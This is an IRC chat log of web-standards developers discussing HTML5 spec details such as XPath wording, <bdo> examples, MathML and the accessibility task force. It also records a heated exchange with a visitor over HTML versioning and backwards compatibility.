[18:47:00.0000] <Lachy>
that's the last example, just above The code Element

[19:06:00.0000] <MikeSmith>
Hixie: I saw you mentioned that 

[19:07:00.0000] <MikeSmith>
Hixie: erp, nm

[19:07:01.0000] <MikeSmith>
was just going to ask you something about the bug list but I figured it out

[21:54:00.0000] <MikeSmith>
/me reads the diff for r3803 and is glad to see that it includes removing an instance of the phrase "the document must be authored such that" from the spec

[22:30:00.0000] <Hixie>
wow, html4's examples for <bdo> are terrible

[22:30:01.0000] <Hixie>
/me tries to come up with better ones

[22:30:02.0000] <Hixie>
/me fails

[23:38:00.0000] <hsivonen>
Hixie: yes, async penalizes document.write()

[23:38:01.0000] <hsivonen>
Hixie: I'm here now.

[23:38:02.0000] <hsivonen>
and: Sorry. CVSDude shuffled repos around and I forgot to update docs

[23:41:00.0000] <Hixie>
hsivonen: i changed the xpath stuff

[23:41:01.0000] <hsivonen>
/me looks

[23:41:02.0000] <Hixie>
i had to actually learn about xpath and find something that would be a compromise between you and johnathan

[23:41:03.0000] <Hixie>
so going by my track record, i (a) misunderstood xpath, and (b) wrote something neither of you like

[23:41:04.0000] <hsivonen>
Hixie: compromise in behavior or compromise in wording?

[23:42:00.0000] <Hixie>
wording was my intent

[23:43:00.0000] <hsivonen>
Hixie: hmmkay. I *think* that's equivalent.

[23:44:00.0000] <hsivonen>
Hixie: I can live with that wording, although I think my wording was clearer

[23:44:01.0000] <Hixie>
once i actually went and read xpath, i found both you and johnathan were proposing wording that didn't use the xpath 1.0 terminology.

[23:44:02.0000] <hsivonen>
Hixie: well, it's equivalent in WebKit and Opera. In Gecko, it will be equivalent after fixing another bug.

[23:44:03.0000] <hsivonen>
Hixie: OK. not surprising

[23:45:00.0000] <Hixie>
(there's no "name expression" in xpath1, and "NameText" or whateven he was using was just a grammar production with no defined meaning as far as i could tell)

[23:45:01.0000] <hsivonen>
Hixie: thanks

[23:45:02.0000] <Hixie>
np

[23:45:03.0000] <Hixie>
hopefully he'll like it too

[23:49:00.0000] <hsivonen>
and: documentation fixed

[23:49:01.0000] <hsivonen>
and: and you can get just the htmlparser if you like: http://about.validator.nu/htmlparser/

[23:51:00.0000] <boblet>
I have a nav use question: it’s for site and in-page nav, but is it also appropriate for a series of related articles? Example usage: http://boblet.tumblr.com/post/141239118/html5-structure4

[23:51:01.0000] <boblet>
(top right box listing HTML5-related articles)

[23:52:00.0000] <boblet>
I’d guess aside might be better, but this is the only thing on the site I’d like to put in nav

[23:53:00.0000] <hsivonen>
and: the 7-bit Norwegian/Danish/Swedish/Finnish modifications of ASCII are obsolete and not Web-relevant

[23:59:00.0000] <boblet>
hrm, on second reading I think this is a “major navigation block”, so nav is appropriate. nicely worded

[00:12:00.0000] <hsivonen>
Is iTunes LP using WebKit as the renderer?

[00:12:01.0000] <hsivonen>
If so, are we going to see the scroll bar styling stuff in spec form on www-style?

[00:13:00.0000] <MikeSmith>
hsivonen: http://www.satine.org/archives/2009/09/09/does-itunes-9-use-webkit/

[00:15:00.0000] <hsivonen>
ok. So how are the non-native-looking scroll bars in iTunes LP content implemented?

[00:18:00.0000] <MikeSmith>
/me has no idea

[00:19:00.0000] <MikeSmith>
Hixie: I'm looking at recentish pubdate attribute changes, and I notice that the current draft doesn't seem to actually specify any constraints on the value of pubdate

[00:20:00.0000] <Hixie>
doesn't it say it's a boolean attribute?

[00:21:00.0000] <MikeSmith>
Hixie: erp.. sorry man. I read right past that

[00:21:01.0000] <MikeSmith>
/me needs more tea

[00:22:00.0000] <MikeSmith>
/me inches ever closer to his quota of dumb questions for the week

[00:25:00.0000] <Hixie>
MikeSmith: :-)

[00:25:01.0000] <Hixie>
/me gives up on <bdo> examples

[00:25:02.0000] <MikeSmith>
Hixie: I can ping r12a about that. If he has not good examples for it, all hope is lost

[00:25:03.0000] <MikeSmith>
*no good examples

[00:34:00.0000] <MikeSmith>
/me looks at twitter and sees that r12a is already looking

[00:39:00.0000] <boblet>
MikeSmith: will you be in Tokyo for Oct 2-3? there’s a html5-dev-jp group event on then that I’m planning to attend…

[00:40:00.0000] <Hixie>
MikeSmith: yeah, already asked him :-)

[00:41:00.0000] <MikeSmith>
boblet: yeah, I should be here. I had been asked to go do a talk outside of Japan at that time but had to turn it down. I'm hoping not to have to travel again at all until Novembeer.

[00:41:01.0000] <MikeSmith>
Hixie: ah, OK

[00:45:00.0000] <boblet>
MikeSmith: are you planning to attend? http://bit.ly/3CHUhH it’s gonna be presentations on canvas and offline Thurs/Fri night (both on both nights) then hackathon all day Sat. Held at Google

[00:47:00.0000] <MikeSmith>
boblet: yeah, I should go. I guess I should talk to Oikawa-san.

[00:47:01.0000] <MikeSmith>
or who's organizing it?

[00:50:00.0000] <boblet>
MikeSmith: not sure—being done through the html5-dev-ja list and was announced by Shiroishi-san, who’s also one of the presenters (other is Hatano-san)

[00:51:00.0000] <boblet>
I’ll ask…

[01:23:00.0000] <hsivonen>
allowing Web authors acquire explicit locks scares me

[02:21:00.0000] <annevk3>
AryehGregor, left a comment where?

[02:59:00.0000] <Philip`>
hsivonen: http://ax.itunes.apple.com/htmlResources/CFA7/dt-storefront.cssz uses things like ::-webkit-scrollbar-track:vertical

[02:59:01.0000] <annevk3>
Hixie, in /TR/REC-xml-names/ you can drop the REC-

[03:02:00.0000] <hsivonen>
Philip`: well, if iTunes causes the widget styling problem to get solved in a cross-platform and cross-browser way, yay

[03:12:00.0000] <annevk3>
http://www.html5patch.org/

[03:23:00.0000] <Philip`>
http://happyworm.com/blog/2009/08/24/html-5-the-revolution-will-not-be-televised/ - "it supports audio, video, vector based graphics and animation, geolocation and drag and drop" - why does *everyone* think it includes geolocation?

[03:23:01.0000] <Hixie>
google said it did at google i/o

[03:33:00.0000] <jgraham>
Because, as much as people might like it to be something else, HTML5 has become the brand name for "cool cutting edge web technologies" in the same way that Ajax, XHTML and DHTML have been in the past

[03:33:01.0000] <Hixie>
it's rather flaterring

[03:33:02.0000] <Hixie>
flattering, even

[03:34:00.0000] <heycam>
wouldn't have happened if it was still called "Web Applications 1.0", i suppose

[03:35:00.0000] <Hixie>
/me is baffled by this "accessibility task force" stuff

[03:35:01.0000] <annevk2>
hard to say, back then we called it HTML5 too

[03:36:00.0000] <annevk2>
Hixie, yeah, better becomes a really successful TF to be worth all this debating

[03:36:01.0000] <Hixie>
why do we need a TF at all?

[03:36:02.0000] <Hixie>
what is the TF for?

[03:37:00.0000] <Hixie>
how can you even _have_ a TF for something as fundamental as accessibility?

[03:37:01.0000] <Hixie>
it'd be like having a task force for performance

[03:37:02.0000] <Hixie>
or a task force for making sure the spec is implementable in a multiprocess architecture

[03:38:00.0000] <annevk2>
there's several WGs for accessibility so that certainly seems like something that's possible

[03:38:01.0000] <Hixie>
the WGs for accessibility have done two things:

[03:38:02.0000] <hsivonen>
Hixie: as far as I can tell, the purpose of the TF is to put accessibility of HTML5 under WAI in the org chart

[03:39:00.0000] <hsivonen>
my assessment could be wrong, though

[03:39:01.0000] <Hixie>
1. produced self-standing technologies or documentation, separate from anything else

[03:39:02.0000] <Hixie>
2. commented on other specs

[03:39:03.0000] <annevk2>
hsivonen, I think Sam Ruby said on the list it is that regardless of the whether the TF happens

[03:39:04.0000] <annevk2>
hsivonen, something about the PFWG having to sign off anything we do before we go to LC

[03:39:05.0000] <Hixie>
so i don't think the TF is comparable to the WGs, since a TF presumably wouldn't do either of those

[03:40:00.0000] <hsivonen>
annevk2: is the TF a telecon structure then?

[03:40:01.0000] <hsivonen>
i.e. people signed up for attending telecons?

[03:40:02.0000] <annevk2>
hsivonen, I think it is the PFWG HTML5-subgroup that wants people from the HTML WG involved

[03:41:00.0000] <annevk2>
hsivonen, but I might miss something, this has been going on for a while after all

[03:41:01.0000] <Hixie>
i'm so tired of this "us vs them" nonsense

[03:41:02.0000] <Hixie>
why can't they just participate in the wg's work like everyone else?

[03:42:00.0000] <hsivonen>
maybe I'm misunderstanding this all, but I don't like all the "mandate" and process stuff compared to just posting to public-html

[03:43:00.0000] <jgraham>
I think the accessibility folks think they should have special veto powers above and beyond "normal" WG participants

[03:43:01.0000] <hsivonen>
jgraham: it sure looks like it

[03:43:02.0000] <hsivonen>
anyway, lunch time

[03:43:03.0000] <jgraham>
And they want a process that will ensure that they get that

[03:48:00.0000] <Hixie>
i guess i'll ask maciej about the accessibility tf tomorrow

[03:49:00.0000] <Hixie>
and depending on what he says, i'll figure out what to do

[03:49:01.0000] <Hixie>
participate, try to change the "charter", ignore them, try to get the tf killed, whatever

[03:52:00.0000] <Hixie>
http://en.wikipedia.org/wiki/MathML#Example is funny

[03:53:00.0000] <annevk2>
and somewhat sad

[03:53:01.0000] <Lachy>
Hixie, because the MathML example is 10 times longer than the other languages?

[03:53:02.0000] <Hixie>
yeah

[03:53:03.0000] <jgraham>
Funny as in "look how XML turns half a line of readable LaTeX into a screen full of unintelligable XML"

[03:54:00.0000] <Hixie>
it's also an unfair comparison, the mathml is longer than it needs to be

[03:55:00.0000] <Lachy>
it's sad how we ended up with an XML based format for maths, instead of simply a <math> element who's contents were interpreted as LaTeX and rendered appropriatley.

[03:56:00.0000] <jgraham>
Lachy: I argued for that at the time but it is worth noting that "interpreted as LaTeX" isn't a well defined concept

[03:56:01.0000] <jgraham>
Since TeX is a Turing-complete language

[03:56:02.0000] <Hixie>
what we ended up with was the least bad of a bad bunch of options

[03:57:00.0000] <Hixie>
as often has been the case in html5's development

[03:57:01.0000] <Lachy>
I didn't know it was turing-complete

[03:57:02.0000] <Hixie>
the continual race to suck the least we can

[03:57:03.0000] <Hixie>
"HTML5: It could suck more"

[03:57:04.0000] <Lachy>
I just know a lot of mathematicians actually use latex and it would have made sense to let them use it directly on the web

[03:58:00.0000] <jgraham>
Yes

[03:59:00.0000] <Philip`>
If you want to base it on usage, it would probably be better to use Microsoft Office's textual equation format

[03:59:01.0000] <Hixie>
which exports to mathml

[03:59:02.0000] <Hixie>
which is one reason we used mathml

[03:59:03.0000] <jgraham>
We could have defined a subset of LaTeX and some magic to turn it into DOM. I admit this would not have been as conceptually simple as using MathML directly

[04:00:00.0000] <jgraham>
But it would have been way easier to author

[04:00:01.0000] <Hixie>
way easier to hand-author

[04:01:00.0000] <Philip`>
jgraham: If you write a document in e.g. Word's equation editor, which has some textual format and is MathML internally, how would you export that to HTML when HTML requires a crazy syntax like LaTeX?

[04:02:00.0000] <Philip`>
Parsing LaTeX is only half the problem

[04:03:00.0000] <jgraham>
It's not obvious to me that going from MathML->LaTeX subset is a hard problem

[04:03:01.0000] <jgraham>
especially if you design the subset with that in mind

[04:04:00.0000] <Hixie>
ok if anyone is bored they can come up with examples for good tables that show off all html's table elements and attributes

[04:04:01.0000] <Hixie>
in the meantime i'm gonna sleep

[04:04:02.0000] <Hixie>
later

[04:05:00.0000] <Philip`>
What if you e.g. make one of the variables in your equation red, using CSS?

[04:06:00.0000] <Philip`>
(in the MathML representation)

[04:06:01.0000] <jgraham>
Yeah that is a real problem

[04:06:02.0000] <jgraham>
ALthough a rather uncommon one

[04:35:00.0000] <jgraham>
To whom it may concern: a manual shouldn't read like a sales pitch

[04:41:00.0000] <Lachy>
/me wonders what sales pitch jgraham is reading

[05:18:00.0000] <Dashiva>
So now there are complaints that HTML5 removes deprecated attributes from HTML4... isn't that the whole point of deprecation?

[05:35:00.0000] <erlehmann>
Dashiva, where?

[05:36:00.0000] <Dashiva>
http://lists.w3.org/Archives/Public/public-html/2009Sep/0450.html

[07:00:00.0000] <hsivonen>
tree builder flushes a text node before it is complete. a timeout appends another text node as the next sibling of the parser-inserted text node. Then the tree builder flushes the rest of the text. 

[07:00:01.0000] <Lachy>
http://html5doctor.com/the-section-element/

[07:00:02.0000] <hsivonen>
Which text node does the later tree builder flush go to?

[07:04:00.0000] <hsivonen>
Mercurial Queues are great. How do svn and cvs users manage without them?

[07:05:00.0000] <TabAtkins>
Hixie: I had problems with bidirectional text a while back that I had to solve by explicitly inserting directionality characters.  Lemme dig up what the hell it was (it's obsolete now, so the example itself may be gone), so I can give you something for <bdo>.

[07:13:00.0000] <TabAtkins>
Hixie: Ah, I remember now.  No clue why I was doing this, but I was editting a Hebrew text and adding inline English annotations.  Very annoying to deal with, and I didn't know <bdo> existed to help me.

[07:13:01.0000] <jgraham>
hsivonen: Can you give me a really short summary of mq? I haven;t quite worked out if I should be using it all the time or if it is something that I can live without

[07:14:00.0000] <hsivonen>
jgraham: I regret postponing my starting of using it

[07:14:01.0000] <hsivonen>
jgraham: basically, you have a pushable and poppable queue of malleable hg revs

[07:14:02.0000] <hsivonen>
jgraham: that you can revise or pop

[07:15:00.0000] <hsivonen>
jgraham: then you can freeze the bottommost one to a real rev that you push when you get review

[07:15:01.0000] <hsivonen>
jgraham: so if your bottommost patch is being reviewed, you can already build on it but go back to address review comments

[07:18:00.0000] <jgraham>
Interesting. Are there also advantages in review-free environments?

[07:19:00.0000] <hsivonen>
jgraham: I'm not aware of benefits in environments where you can commit a real rev before you start working on your next bug

[07:20:00.0000] <hsivonen>
jgraham: maybe hg 1.3 makes rebasing easier if you are rebasing an mq patch. dunno

[07:26:00.0000] <jgraham>
hsivonen: Thnaks

[07:26:01.0000] <jgraham>
*Thanks

[07:41:00.0000] <jgraham>
http://www.marcozehe.de/2009/09/11/youre-a-table-and-i-dont-care-what-lies-underneath/ seems interesting if anyone is bored

[07:42:00.0000] <jgraham>
Also jQuery is licensed under MIT /and/ GPL WTF?

[07:43:00.0000] <hsivonen>
jgraham: I raised my eyebrows, too, when I first saw the jQuery license

[07:48:00.0000] <erlehmann>
i dont get that opera does <video> but not <audio>

[07:48:01.0000] <annevk2>
/me finally realizes what AryehGregor commented on

[07:48:02.0000] <annevk2>
erlehmann, I thought it was the other way around

[07:49:00.0000] <erlehmann>
annevk2, how come ?

[07:49:01.0000] <erlehmann>
opera had a build that did theora video. i believe they were one of the first.

[07:49:02.0000] <annevk2>
erlehmann, because we haven't shipped our actual impl yet?

[07:49:03.0000] <annevk2>
erlehmann, sure, we demonstrated it could be done

[07:49:04.0000] <annevk2>
erlehmann, the actual API is vastly more complicated though

[07:50:00.0000] <erlehmann>
annevk2, where does the Audio() object come from that does only WAV ? was it in spec some time in the past ?

[07:51:00.0000] <annevk2>
it was there quite a while before <video>

[07:51:01.0000] <annevk2>
also, <audio> is compatible with it

[07:51:02.0000] <annevk2>
it has a similar Audio() constructor

[08:05:00.0000] <takkaria>
jgraham: it's not licenced under MIT and GPL, it's licenced under either MIT or GPL, which is slightly different

[08:05:01.0000] <takkaria>
and not quite as insane

[08:06:00.0000] <jgraham>
takkaria: In what way is it not insane?

[08:07:00.0000] <takkaria>
oh, it's insane

[08:08:00.0000] <takkaria>
just not as insane as trying to have two contradictory licences at once

[08:10:00.0000] <hsivonen>
is the purpose to waive the MIT notice when someone is using it under the GPL?

[08:59:00.0000] <[wito]>
So I'm sitting all up in #html, just minding my own business

[08:59:01.0000] <[wito]>
And suddenly, this guy comes in, asking about Client Side SQL storage in HTML5

[08:59:02.0000] <[wito]>
So I think to myself, "that can't be right, can it?"

[08:59:03.0000] <[wito]>
And so I do a little checking around

[08:59:04.0000] <Lachy>
[wito], he must have been talking about Web Databases

[08:59:05.0000] <[wito]>
Whatever thing Webkit has gotten to implementing

[09:00:00.0000] <[wito]>
so yeah, probably, whatever

[09:00:01.0000] <Lachy>
it was formerly part of HTML5, till it got split out

[09:00:02.0000] <[wito]>
I see...

[09:00:03.0000] <[wito]>
Well, that's good.

[09:00:04.0000] <Lachy>
http://dev.w3.org/html5/webdatabase/

[09:00:05.0000] <annevk2>
and everything new, including CSS3, is talked about as some HTML5 thing these days

[09:00:06.0000] <[wito]>
Now let me just make my god damned point.

[09:01:00.0000] <Rik|work>
annevk2: becoming a buzzword, like ajax

[09:01:01.0000] <annevk2>
you think?

[09:01:02.0000] <gsnedders>
Rik|work: "becoming"?

[09:01:03.0000] <hsivonen>
s/some thing/family of technologies/

[09:01:04.0000] <[wito]>
HTML5, in case you haven't noted, is bloated

[09:01:05.0000] <[wito]>
and silly

[09:01:06.0000] <annevk2>
that's a great point

[09:01:07.0000] <[wito]>
and all up in #html we've had it

[09:01:08.0000] <annevk2>
sorry about the sarcasm, ehm, what's your argument?

[09:02:00.0000] <annevk2>
"bloated" and "silly" is hardly constructive

[09:02:01.0000] <[wito]>
so we're hereby giving notice of intent to redirect all questions regarding HTML 5 to this channel, no matter how inane they are

[09:02:02.0000] <[wito]>
just a heads up

[09:02:03.0000] <annevk2>
and sound somewhat ill-informed

[09:02:04.0000] <AryehGregor>
Go ahead.

[09:02:05.0000] <Lachy>
what things are in HTML5 that you think shouldn't be there?

[09:02:06.0000] <annevk2>
[wito], that's certainly cool

[09:02:07.0000] <Lachy>
[wito], great!

[09:02:08.0000] <[wito]>
annevk2: I'll concede that "silly" isn't the best word

[09:02:09.0000] <jgraham>
Awesome. It sounds like you are just the sort of people I would liek to be directed away from

[09:02:10.0000] <hsivonen>
it could suck more :-)

[09:02:11.0000] <erlehmann>
[wito], if with bloat you mean the space between the L and the 5, i can agree

[09:02:12.0000] <Lachy>
it would help if you could elaborate on why you think it's silly

[09:02:13.0000] <gsnedders>
It could be called XHTML 2.

[09:03:00.0000] <AryehGregor>
The people who idle here are the best situated to answer HTML 5 questions, so it would be good to have the questions come here instead of #html.

[09:03:01.0000] <[wito]>
erlehmann: It's HTML5?

[09:03:02.0000] <[wito]>
No space?

[09:03:03.0000] <AryehGregor>
erlehmann, that's being fixed, isn't it?

[09:03:04.0000] <annevk2>
yes

[09:03:05.0000] <[wito]>
oh dear...

[09:03:06.0000] <annevk2>
[wito], http://blog.whatwg.org/spelling-html5

[09:03:07.0000] <Lachy>
http://blog.whatwg.org/spelling-html5

[09:03:08.0000] <erlehmann>
ahaha

[09:03:09.0000] <beowulf>
some of us are best situated to ask silly and inane questions, too

[09:03:10.0000] <[wito]>
Well

[09:03:11.0000] <[wito]>
If there are no protests

[09:03:12.0000] <AryehGregor>
The <title> of current-work at whatwg.org still seems to say "HTML 5".

[09:03:13.0000] <[wito]>
We'll just start shoveling them over by the cartload.

[09:03:14.0000] <annevk2>
[wito], http://annevankesteren.nl/2007/04/html-red-pill ;)

[09:03:15.0000] <Lachy>
oops, we should fix that

[09:03:16.0000] <AryehGregor>
[wito], only hearty agreement.

[09:04:00.0000] <jgraham>
Silly and inane questions are some of the best. For example: party food; jelly or cheese on sticks?

[09:04:01.0000] <Lachy>
AryehGregor, no it doesn't. It's "HTML5"

[09:04:02.0000] <beowulf>
jgraham: cheese on sticks

[09:04:03.0000] <jgraham>
beowulf: Seriously>

[09:04:04.0000] <beowulf>
jelly--

[09:04:05.0000] <gsnedders>
jgraham: Jelly. We concluded that a few weeks ago, with ice-cream.

[09:04:06.0000] <[wito]>
annevk2: Very nice; but "no versioning" isn't a good thing

[09:04:07.0000] <da3d>
jgraham: cheese in jelly

[09:04:08.0000] <beowulf>
jelly with ice-cream is an abomination

[09:04:09.0000] <AryehGregor>
Lachy, <title>5 Microdata &mdash; HTML 5</title> on http://www.whatwg.org/specs/web-apps/current-work/multipage/microdata.html#microdata

[09:04:10.0000] <gsnedders>
[wito]: Now, how is it bloated and silly?

[09:04:11.0000] <jgraham>
Jelly on sticks?

[09:05:00.0000] <annevk2>
[wito], well see, I think it is

[09:05:01.0000] <AryehGregor>
The TOC has HTML5.

[09:05:02.0000] <[wito]>
annevk2: Then we will have to agree to disagree

[09:05:03.0000] <hsivonen>
Hixie: the spec splitter has the old title with space

[09:05:04.0000] <jgraham>
[wito]: Not necessarily. You could have a fight to the death

[09:05:05.0000] <AryehGregor>
[wito], have you actually read any of the many, many pages of discussion on whatwg and public-html about the versioning question?

[09:05:06.0000] <[wito]>
AryehGregor: I must admit I have not.

[09:05:07.0000] <annevk2>
[wito], I'd love to hear your arguments

[09:05:08.0000] <Lachy>
AryehGregor, oh, that must be a problem with the splitter script

[09:05:09.0000] <Lachy>
I think that's Philip`s thing

[09:05:10.0000] <erlehmann>
RTFML then try again

[09:06:00.0000] <AryehGregor>
[wito], then maybe it would be more appropriate to say you can't see why it's a good thing, or somesuch.

[09:06:01.0000] <erlehmann>
AryehGregor, just do a s/HTML\ 5/HTML5/g ?

[09:06:02.0000] <hsivonen>
Philip`: the spec splitter has the old title

[09:06:03.0000] <beowulf>
[wito]: what's #html going to be answering questions on now?

[09:06:04.0000] <jgraham>
Maybe about party food?

[09:06:05.0000] <[wito]>
beowulf: XHTML 1.1, XHTML 1.0 and HTML 4.01

[09:06:06.0000] <dbaron>
Hixie, I could come up with some decent uses of <bdo> in describing Chinese signs to English speakers, but I can't find any such examples on the Web...

[09:06:07.0000] <jgraham>
I think party food would have been better

[09:07:00.0000] <[wito]>
the "versioned, strictly defined shit with few tags" as you seem to call it

[09:07:01.0000] <[wito]>
anyway

[09:07:02.0000] <[wito]>
I'll write a blog entry about the bloat in HTML5 or something, let me get back to you on that.

[09:07:03.0000] <Lachy>
[wito], ok, I look forward to reading it

[09:07:04.0000] <beowulf>
me too

[09:07:05.0000] <annevk2>
[wito], please include the pro-versioning arguments

[09:07:06.0000] <[wito]>
I just found the idea of Web databases completely and utterly not at all relevant to HTML in any way.

[09:07:07.0000] <AryehGregor>
[wito], k.

[09:07:08.0000] <[wito]>
And what have you

[09:07:09.0000] <Lachy>
[wito], where's your blog?

[09:07:10.0000] <AryehGregor>
It's not part of the HTML spec.

[09:07:11.0000] <[wito]>
annevk2: 10-4

[09:08:00.0000] <AryehGregor>
At least, not anymore.

[09:08:01.0000] <[wito]>
Lachy: I'll also have to get me one of those.

[09:08:02.0000] <annevk2>
[wito], sorry?

[09:08:03.0000] <Lachy>
hah

[09:08:04.0000] <AryehGregor>
It's part of a JavaScript API.

[09:08:05.0000] <annevk2>
[wito], -6?

[09:08:06.0000] <beowulf>
lol

[09:08:07.0000] <AryehGregor>
HTML5 does define some JavaScript interfaces in addition to the actual HTML.

[09:08:08.0000] <Lachy>
annevk2, 10-4 is 6, not -6!

[09:08:09.0000] <[wito]>
...

[09:08:10.0000] <annevk2>
/me was doing rtl

[09:08:11.0000] <[wito]>
annevk2: ten-four

[09:08:12.0000] <beowulf>
(ok, i woke the dog laughing at annevk2's response there)

[09:09:00.0000] <[wito]>
as in, roger

[09:09:01.0000] <jgraham>
Hey, we could add an <sql> tga that did queries against HTML tables!

[09:09:02.0000] <AryehGregor>
annevk2, RTL usually does Arabic numerals LTR, sorry.  :P

[09:09:03.0000] <AryehGregor>
jgraham, LOL

[09:09:04.0000] <[wito]>
Well, I don't have a blog, so I'll just slap up an article

[09:09:05.0000] <jgraham>
AryehGregor: :)

[09:09:06.0000] <[wito]>
expect it ~sunday, I'll get back to y'all with the URL

[09:09:07.0000] <Lachy>
[wito], Ten-codes don't work too well in written communication

[09:09:08.0000] <[wito]>
Anyway, I have some HTML questions to go asnwer

[09:09:09.0000] <AryehGregor>
Is there a page that addresses common objections to HTML5 in the vein of "The way we used to do it is better"?

[09:10:00.0000] <Lachy>
[wito], is #html a channel on freenode where you're getting all these questions?

[09:10:01.0000] <[wito]>
Occasionally.

[09:10:02.0000] <Lachy>
/me joins to see if any HTML5 questions pop up

[09:10:03.0000] <AryehGregor>
[wito], you do realize that none of the HTML versions you think should be handled in #html are actually going to survive for much longer?  Given that HTML5 is the only HTML version that actually has any resources being put into anymore?

[09:10:04.0000] <AryehGregor>
I mean, all other HTML specs are obsolescent.

[09:10:05.0000] <hsivonen>
on versioning, please take another look at http://hsivonen.iki.fi/doctype/ie8-mode.png before wanting versioning

[09:10:06.0000] <[wito]>
AryehGregor: obsolescent

[09:10:07.0000] <[wito]>
that's an awsome word

[09:11:00.0000] <[wito]>
But I disagree

[09:11:01.0000] <AryehGregor>
A handy one too.

[09:11:02.0000] <[wito]>
and XHTML 1.1 parsers are stable

[09:11:03.0000] <AryehGregor>
So are HTML 1 parsers, I'm sure.

[09:11:04.0000] <[wito]>
and will continue to benefit from improvements to SVG rendering engines

[09:11:05.0000] <annevk2>
actually, XML 1.0 5Th edition just changed them

[09:11:06.0000] <annevk2>
though fixes might not have been deployed to your favorite parser library just yet

[09:11:07.0000] <Lachy>
AryehGregor, there was no HTML 1

[09:12:00.0000] <AryehGregor>
Rats.

[09:12:01.0000] <AryehGregor>
Foiled again.

[09:12:02.0000] <beowulf>
it was called Tags, no?

[09:12:03.0000] <[wito]>
and that's the glory of versioning

[09:12:04.0000] <AryehGregor>
Well, I can fairly say that all HTML 1 parsers are stable, then.

[09:12:05.0000] <Lachy>
there's an informal language that was developed prior to HTML 2.0 being published as RFC 1866 in 1995

[09:12:06.0000] <[wito]>
basically, when you've got a version down; you freeze development, branch and have at the next version

[09:12:07.0000] <annevk2>
[wito], XML 1.0 has no subversioning

[09:12:08.0000] <AryehGregor>
(they're also all unstable, and made out of Swiss cheese, and so forth)

[09:12:09.0000] <annevk2>
[wito], they changed parsing rules as "errata"

[09:13:00.0000] <annevk2>
[wito], it was quite controversial

[09:13:01.0000] <AryehGregor>
[wito], or you could just make sure everything is backwards-compatible and not need versioning.

[09:13:02.0000] <[wito]>
annevk2: I'm sorry, whatnow?

[09:13:03.0000] <annevk2>
[wito], see w3.org/tr/xml

[09:13:04.0000] <[wito]>
AryehGregor: Except for the fact that this will keep you back later

[09:13:05.0000] <AryehGregor>
Which is what HTML5 does.

[09:13:06.0000] <[wito]>
backwards-compatible is a dream

[09:13:07.0000] <erlehmann>
[wito], how will it ?

[09:13:08.0000] <AryehGregor>
[wito], it will keep you back less than pretending you don't need to be completely backward compatible, which is what XHTML 2 did.

[09:13:09.0000] <[wito]>
and in *my* programming experience, it's not always a good thing

[09:13:10.0000] <annevk2>
much like versioning on the Web

[09:13:11.0000] <[wito]>
sometimes, you just need to go forward

[09:14:00.0000] <AryehGregor>
[wito], it's not a good thing.  It's inevitable on the web, however.

[09:14:01.0000] <jgraham>
backwards compatible is a necessary reaslity for the web

[09:14:02.0000] <jgraham>
*reality

[09:14:03.0000] <AryehGregor>
You can't fix up all the content out there.

[09:14:04.0000] <erlehmann>
use the XML serialization, use namespaces. voila.

[09:14:05.0000] <AryehGregor>
That's just fact.

[09:14:06.0000] <[wito]>
AryehGregor: Which is where versioning comes into play

[09:14:07.0000] <AryehGregor>
Except then users can't use the new features without rewriting their site.

[09:14:08.0000] <AryehGregor>
Which few will do.

[09:14:09.0000] <jgraham>
AryehGregor: There is only one browser vendor in the world that is prepared to ship a verioned engine

[09:15:00.0000] <jgraham>
*versioned

[09:15:01.0000] <[wito]>
AryehGregor: "Oh no! I don't get nuthin' for nuthin'!"

[09:15:02.0000] <annevk2>
jgraham, and even they hate it

[09:15:03.0000] <Steve^>
If you look at Python, they are breaking backwards-compatibility

[09:15:04.0000] <jgraham>
And hsivonen just posted you an informative link as to why that is a clusterfuck

[09:15:05.0000] <Steve^>
everyone is free to use the old version if they want

[09:15:06.0000] <[wito]>
anyway

[09:15:07.0000] <jgraham>
Steve^: Not comparable

[09:15:08.0000] <[wito]>
I didn't come here to discuss versioning

[09:15:09.0000] <AryehGregor>
[wito], you can be contemptuous all you like.  If you think versioning is a valid substitute for backwards compatibility, you should have convinced the major browser vendors of it when you still had a chance.  Too late now.

[09:16:00.0000] <jgraham>
I can't follow a link from a python 2.5 program to a python 2.6 program

[09:16:01.0000] <AryehGregor>
XHTML 2.0 didn't work, for whatever reason.  HTML5 is working.

[09:16:02.0000] <[wito]>
I came here to say that sql databases is too much even for HTML5

[09:16:03.0000] <[wito]>
and it seems I was right

[09:16:04.0000] <AryehGregor>
SQL databases are part of a different spec, technically.

[09:16:05.0000] <beowulf>
[wito]: evidence?

[09:16:06.0000] <[wito]>
AryehGregor: which is my point

[09:16:07.0000] <AryehGregor>
HTML5 does define a bunch of JavaScript APIs, but mostly they're closely linked to the elements it defines.

[09:16:08.0000] <[wito]>
beowulf: sql databases aren't part of the HTML5 specc

[09:17:00.0000] <pengo>
client side database? seriously?

[09:17:01.0000] <[wito]>
I remain confident that XHTML 1.1 will continue to work for me for decades to come

[09:17:02.0000] <[wito]>
so yeah

[09:17:03.0000] <Steve^>
jgraham, a 2.5 can execute a 2.6 one though. Its not quite the same as HTML isn't compiled/interpreted in the same way. Newer browsers can simply ignore deprecated tags

[09:17:04.0000] <[wito]>
have fun

[09:17:05.0000] <AryehGregor>
Steve^, not if they want the web to work.

[09:17:06.0000] <beowulf>
[wito]: no, what's your evidence that's it's too much, i'd like to see it all in one 'document' actually

[09:17:07.0000] <AryehGregor>
Or if they want to be HTML5-compliant.

[09:17:08.0000] <AryehGregor>
pengo, sure.  It seems like a good idea to me.  Mozilla apparently doesn't want to implement it, though.

[09:18:00.0000] <AryehGregor>
At least not now.

[09:18:01.0000] <beowulf>
i think spec splitting is unhelpful, but, what do i know

[09:18:02.0000] <AryehGregor>
(I don't know, I haven't paid much attention to it)

[09:18:03.0000] <[wito]>
beowulf: Sure, let me sit down tomorrow and write a comprehensive article detailing my point of view on HTML5

[09:18:04.0000] <Rik|work>
[wito]: XHTML1.1 ? is it working for you on IE ?

[09:18:05.0000] <beowulf>
[wito]: ok

[09:18:06.0000] <[wito]>
I'll publish it on early sunday (GMT+2) and post the URL here

[09:18:07.0000] <[wito]>
Rik|work: Hint: I don't care.

[09:18:08.0000] <annevk2>
[wito], the part of XHTML 1.1 that's a subset of HTML5 should remain to work fine

[09:18:09.0000] <AryehGregor>
[wito], that sets you apart from those of us who actually want our websites to be useful, I guess.

[09:18:10.0000] <annevk2>
[wito], pretty much like it does now, indeed

[09:18:11.0000] <[wito]>
right now it's friday, and I'm working my way through a few beers

[09:18:12.0000] <Rik|work>
[wito]: lucky you

[09:19:00.0000] <[wito]>
AryehGregor: http://totlandweb.info/reiko

[09:19:01.0000] <[wito]>
I don't need useful.

[09:19:02.0000] <[wito]>
